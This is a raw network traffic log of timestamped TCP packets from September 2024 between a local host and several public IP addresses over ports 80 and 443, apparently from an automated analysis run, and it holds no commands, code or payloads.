Sep 27, 2024 05:50:39.385356903 CEST	49744	80	192.168.2.5	149.104.74.82
Sep 27, 2024 05:50:39.385864019 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.385884047 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.385941029 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.385992050 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.386018991 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.386101961 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.386624098 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.386646986 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.386672020 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.386693954 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.386693954 CEST	49744	80	192.168.2.5	149.104.74.82
Sep 27, 2024 05:50:39.386714935 CEST	49744	80	192.168.2.5	149.104.74.82
Sep 27, 2024 05:50:39.386725903 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.386774063 CEST	49744	80	192.168.2.5	149.104.74.82
Sep 27, 2024 05:50:39.388422012 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.388478041 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.388499022 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.388539076 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.388566971 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.388596058 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.390928030 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.390978098 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.391011000 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.391016960 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.391048908 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.392674923 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.392698050 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.392734051 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.392740965 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.392780066 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.394315004 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.394355059 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.394382000 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.394386053 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.394403934 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.394428015 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.394474983 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.395245075 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.395256996 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.395298004 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.395328999 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.395344019 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.395374060 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.395395041 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.397941113 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.397957087 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.398004055 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.398036003 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.398061037 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.398080111 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.398890972 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.398920059 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.398962021 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.398977041 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.399013042 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.399028063 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.400664091 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.400677919 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.400851965 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.400862932 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.400913954 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.401648998 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.401675940 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.401774883 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.401788950 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.401829958 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.403348923 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.403393030 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.403422117 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.403431892 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.403481960 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.403482914 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.403528929 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.432101011 CEST	443	49735	183.240.98.228	192.168.2.5
Sep 27, 2024 05:50:39.470307112 CEST	49735	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:50:39.470331907 CEST	443	49735	183.240.98.228	192.168.2.5
Sep 27, 2024 05:50:39.470796108 CEST	443	49735	183.240.98.228	192.168.2.5
Sep 27, 2024 05:50:39.470880985 CEST	49735	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:50:39.471529007 CEST	443	49735	183.240.98.228	192.168.2.5
Sep 27, 2024 05:50:39.471579075 CEST	49735	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:50:39.471940041 CEST	49735	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:50:39.471992970 CEST	443	49735	183.240.98.228	192.168.2.5
Sep 27, 2024 05:50:39.472187996 CEST	49735	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:50:39.472836018 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.472871065 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.474730015 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.474769115 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.485193968 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.485219955 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.485311031 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.485328913 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.485363960 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.485402107 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.487668037 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.487756968 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.487891912 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.488171101 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.488214970 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.489552021 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.489588022 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.489640951 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.490045071 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.490052938 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.501096964 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.501127005 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.501194000 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.501202106 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.501247883 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.502604008 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.502674103 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.502687931 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.502728939 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.503077984 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.503089905 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.503137112 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.503170967 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.515425920 CEST	443	49735	183.240.98.228	192.168.2.5
Sep 27, 2024 05:50:39.515815020 CEST	49754	80	192.168.2.5	180.101.212.103
Sep 27, 2024 05:50:39.520657063 CEST	80	49754	180.101.212.103	192.168.2.5
Sep 27, 2024 05:50:39.520749092 CEST	49754	80	192.168.2.5	180.101.212.103
Sep 27, 2024 05:50:39.520929098 CEST	49754	80	192.168.2.5	180.101.212.103
Sep 27, 2024 05:50:39.524988890 CEST	49735	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:50:39.525034904 CEST	443	49735	183.240.98.228	192.168.2.5
Sep 27, 2024 05:50:39.525978088 CEST	80	49754	180.101.212.103	192.168.2.5
Sep 27, 2024 05:50:39.534796000 CEST	80	49746	163.177.17.97	192.168.2.5
Sep 27, 2024 05:50:39.570730925 CEST	49735	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:50:39.587495089 CEST	49746	80	192.168.2.5	163.177.17.97
Sep 27, 2024 05:50:39.587920904 CEST	49755	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.588005066 CEST	443	49755	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.588129997 CEST	49755	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.588237047 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.588308096 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.588387966 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.588469028 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.588551998 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.588591099 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.588618040 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.588639975 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.588697910 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.588812113 CEST	49755	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.588840961 CEST	443	49755	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.588960886 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.588996887 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.589056969 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.589106083 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.589255095 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.589274883 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.703749895 CEST	49759	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:39.703813076 CEST	443	49759	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:39.704148054 CEST	49759	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:39.704530001 CEST	49759	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:39.704549074 CEST	443	49759	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:39.849606037 CEST	443	49750	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:39.849951029 CEST	49750	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:39.850001097 CEST	443	49750	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:39.851838112 CEST	443	49750	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:39.851908922 CEST	49750	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:39.852577925 CEST	49750	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:39.852663994 CEST	443	49750	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:39.852792978 CEST	49750	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:39.852808952 CEST	443	49750	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:39.901143074 CEST	49750	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:39.927939892 CEST	443	49735	183.240.98.228	192.168.2.5
Sep 27, 2024 05:50:39.928021908 CEST	443	49735	183.240.98.228	192.168.2.5
Sep 27, 2024 05:50:39.928222895 CEST	49735	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:50:39.928668976 CEST	49735	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:50:39.928669930 CEST	49735	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:50:39.928716898 CEST	443	49735	183.240.98.228	192.168.2.5
Sep 27, 2024 05:50:39.928803921 CEST	49735	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:50:39.941314936 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.941581011 CEST	49749	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.941591024 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.942591906 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.942656994 CEST	49749	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.942966938 CEST	49749	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.943016052 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.943075895 CEST	49749	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.984102011 CEST	80	49741	182.118.39.155	192.168.2.5
Sep 27, 2024 05:50:39.985021114 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.985532045 CEST	49748	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.985543013 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.985908985 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.986011982 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.986242056 CEST	49747	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.986259937 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.986526966 CEST	49748	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.986598969 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.986643076 CEST	49748	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.987402916 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.987416983 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.987895966 CEST	49747	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.988045931 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.988128901 CEST	49747	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.995331049 CEST	49749	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.995347977 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.026551962 CEST	49748	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.026557922 CEST	49741	80	192.168.2.5	182.118.39.155
Sep 27, 2024 05:50:40.026572943 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.035414934 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.041855097 CEST	49749	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.041863918 CEST	49747	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.177768946 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.177797079 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.177803993 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.177825928 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.177833080 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.177839994 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.177860022 CEST	49749	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.177881956 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.177906990 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.177916050 CEST	49749	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.177958012 CEST	49749	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.199101925 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.199124098 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.199141979 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.199202061 CEST	49749	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.199208021 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.199260950 CEST	49749	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.220818996 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.220838070 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.220848083 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.220875025 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.220952988 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.220959902 CEST	49748	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.221007109 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.221045017 CEST	49748	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.221064091 CEST	49748	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.229516983 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.229549885 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.229561090 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.229578972 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.229588985 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.229597092 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.229618073 CEST	49747	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.229640961 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.229696035 CEST	49747	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.229696035 CEST	49747	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.247492075 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.247514009 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.247580051 CEST	49748	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.247612000 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.250233889 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.250262976 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.250410080 CEST	49749	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.250420094 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.250463009 CEST	49749	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.251446009 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.251502991 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.251580954 CEST	49747	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.251580954 CEST	49747	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.251594067 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.283499956 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.283521891 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.283588886 CEST	49749	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.283593893 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.283648014 CEST	49749	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.285718918 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.285806894 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.285806894 CEST	49749	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.285872936 CEST	49749	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.286900997 CEST	443	49750	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.286921978 CEST	443	49750	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.287024975 CEST	49750	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:40.287048101 CEST	443	49750	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.287527084 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.287550926 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.287594080 CEST	49748	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.287611008 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.287631035 CEST	49748	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.287812948 CEST	49749	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.287827015 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.288075924 CEST	443	49750	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.288137913 CEST	49750	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:40.289362907 CEST	49750	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:40.289375067 CEST	443	49750	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.296631098 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.296658039 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.296768904 CEST	49747	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.296768904 CEST	49747	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.296786070 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.301855087 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.301906109 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.302052021 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.302340984 CEST	49761	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:40.302364111 CEST	443	49761	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.302409887 CEST	49761	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:40.302551031 CEST	49760	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.302571058 CEST	443	49760	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.302767038 CEST	49761	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:40.302777052 CEST	443	49761	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.309169054 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.309375048 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.309437037 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.310904026 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.310997009 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.311355114 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.311445951 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.311532021 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.311548948 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.316926956 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.317174911 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.317183018 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.318171978 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.318233013 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.318804026 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.318877935 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.318912029 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.335844040 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.335860014 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.335932970 CEST	49748	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.335941076 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.336424112 CEST	49747	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.338072062 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.338085890 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.338124037 CEST	49748	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.338128090 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.338170052 CEST	49748	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.338172913 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.338216066 CEST	49748	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.338577986 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.338597059 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.338613987 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.338639021 CEST	49747	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.338661909 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.338669062 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.338674068 CEST	49747	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.338721991 CEST	49748	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.338726044 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.338735104 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.338773966 CEST	49748	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.338781118 CEST	49747	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.339279890 CEST	49747	443	192.168.2.5	50.3.213.5
